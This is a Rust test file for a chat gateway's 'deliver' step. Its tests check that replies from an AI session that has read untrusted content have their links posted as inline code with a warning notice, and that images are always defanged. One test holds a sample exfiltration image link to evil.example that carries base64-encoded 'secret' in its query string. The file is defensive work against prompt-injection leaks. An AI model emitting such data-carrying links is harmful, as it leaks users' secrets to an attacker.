Files
boxmaker/crates/gatewayd/tests/deliver_links.rs
T

199 lines
5.5 KiB
Rust

//! A reply's images and links as `deliver` posts them, against a fake `loopd` whose `TurnDone`
//! says whether the session has read untrusted content; and `answer_posts` on replies long enough
//! to be split (M5b spec, section 9). Do not edit.
#[path = "support/fake_loop.rs"]
mod fake_loop;
#[path = "support/tmp.rs"]
mod tmp;
use std::sync::Mutex;
use std::time::Duration;
use bxcore::{Envelope, Message, PROTOCOL_VERSION, SessionId, TurnDone, Usage};
use fake_loop::{Reply, done, serve_loop};
use gatewayd::deliver::{EMPTY_ANSWER, MAX_POST, Notice, Poster, answer_posts, deliver};
use gatewayd::links::NOTICE;
use gatewayd::mm::MmError;
use gatewayd::sessions::{Batch, Thread};
use tmp::TempDir;
const DM: &str = "d0000000000000000000000000";
const ROOT: &str = "r0000000000000000000000000";
#[derive(Default)]
struct Record {
posts: Mutex<Vec<String>>,
}
impl Poster for Record {
fn post(&self, channel: &str, root: &str, text: &str) -> Result<(), MmError> {
assert_eq!((channel, root), (DM, ROOT), "every post in the thread");
self.posts.lock().unwrap().push(text.to_string());
Ok(())
}
}
/// The frame that ends a turn of a session that has read untrusted content.
fn done_untrusted(content: &str) -> Reply {
let msg = Message::TurnDone(TurnDone {
content: content.to_string(),
usage: Usage {
cache_n: 0,
prompt_n: 1,
predicted_n: 1,
reasoning_tokens: 0,
thinking_capped: false,
},
untrusted: true,
});
Reply::Frame(Envelope {
v: PROTOCOL_VERSION,
id: 1,
r#final: true,
msg,
})
}
/// One turn against a fake `loopd` that ends it with `reply`; the posts, in order.
fn posts(tag: &str, reply: fn(&str) -> Reply, content: &'static str) -> Vec<String> {
let dir = TempDir::new(tag);
let socket = dir.path().join("loop.sock");
let turns = serve_loop(&socket, move |_, _| vec![reply(content)]);
let batch = Batch {
session: SessionId::new(&format!("mm-{ROOT}")).unwrap(),
thread: Thread {
channel: DM.to_string(),
root: ROOT.to_string(),
},
resume: false,
text: "hi".to_string(),
senders: vec!["k0000000000000000000000000".to_string()],
};
let never = |_: u64| false;
let notice = Notice {
posted: &never,
wait: Duration::ZERO,
};
let record = Record::default();
let log = Mutex::new(Vec::new());
deliver(
&record,
&socket,
&batch,
None,
&|line| log.lock().unwrap().push(line.to_string()),
&notice,
);
turns.recv_timeout(Duration::from_secs(5)).unwrap();
assert!(log.lock().unwrap().is_empty(), "{:?}", log.lock().unwrap());
record.posts.into_inner().unwrap()
}
const LINKED: &str = "See [the docs](https://docs.example/p) and https://b.example/x.";
#[test]
fn an_untrusted_reply_posts_its_links_as_code_and_ends_with_the_notice() {
assert_eq!(
posts("links-untrusted", done_untrusted, LINKED),
[format!(
"See `[the docs](https://docs.example/p)` and `https://b.example/x`.\n\n{NOTICE}"
)]
);
}
#[test]
fn a_clean_reply_keeps_its_links() {
assert_eq!(posts("links-clean", done, LINKED), [LINKED]);
}
#[test]
fn an_image_that_carries_data_is_posted_as_text_in_a_clean_reply() {
assert_eq!(
posts(
"links-image",
done,
"Summary done. ![s](https://evil.example/p.png?d=c2VjcmV0)"
),
["Summary done. `![s](https://evil.example/p.png?d=c2VjcmV0)`"]
);
}
#[test]
fn an_untrusted_reply_with_only_an_image_has_no_notice() {
assert_eq!(
posts(
"links-only-image",
done_untrusted,
"![s](https://e.example/a)"
),
["`![s](https://e.example/a)`"]
);
}
#[test]
fn code_in_an_untrusted_reply_is_left_and_needs_no_notice() {
let text = "Run `curl https://example.com/x`:\n```\nhttps://example.com/y\n```";
assert_eq!(posts("links-code", done_untrusted, text), [text]);
}
#[test]
fn a_long_untrusted_reply_has_one_notice_at_its_end() {
let content = format!(
"https://a.example/1\n{}\nhttps://b.example/2",
"x".repeat(MAX_POST - 10)
);
let posts = answer_posts(&content, true);
assert_eq!(
posts,
[
"`https://a.example/1`".to_string(),
"x".repeat(MAX_POST - 10),
format!("`https://b.example/2`\n\n{NOTICE}"),
]
);
}
#[test]
fn a_part_that_starts_inside_a_fence_is_disarmed_again() {
let content = format!(
"```\n{}\n{}\n![i](https://e.example/a)\n```",
"y".repeat(10_000),
"z".repeat(10_000)
);
assert_eq!(
answer_posts(&content, false),
[
format!("```\n{}", "y".repeat(10_000)),
format!(
"{}\n````![i](https://e.example/a)````\n```",
"z".repeat(10_000)
),
]
);
}
#[test]
fn a_link_found_only_after_the_split_still_brings_the_notice() {
let content = format!(
"```\n{}\n{}\nhttps://e.example/a\n```",
"y".repeat(10_000),
"z".repeat(10_000)
);
assert_eq!(
answer_posts(&content, true),
[
format!("```\n{}", "y".repeat(10_000)),
format!(
"{}\n````https://e.example/a````\n```\n\n{NOTICE}",
"z".repeat(10_000)
),
]
);
}
#[test]
fn an_empty_answer_is_posted_as_before() {
assert_eq!(answer_posts(" \n", true), [EMPTY_ANSWER]);
}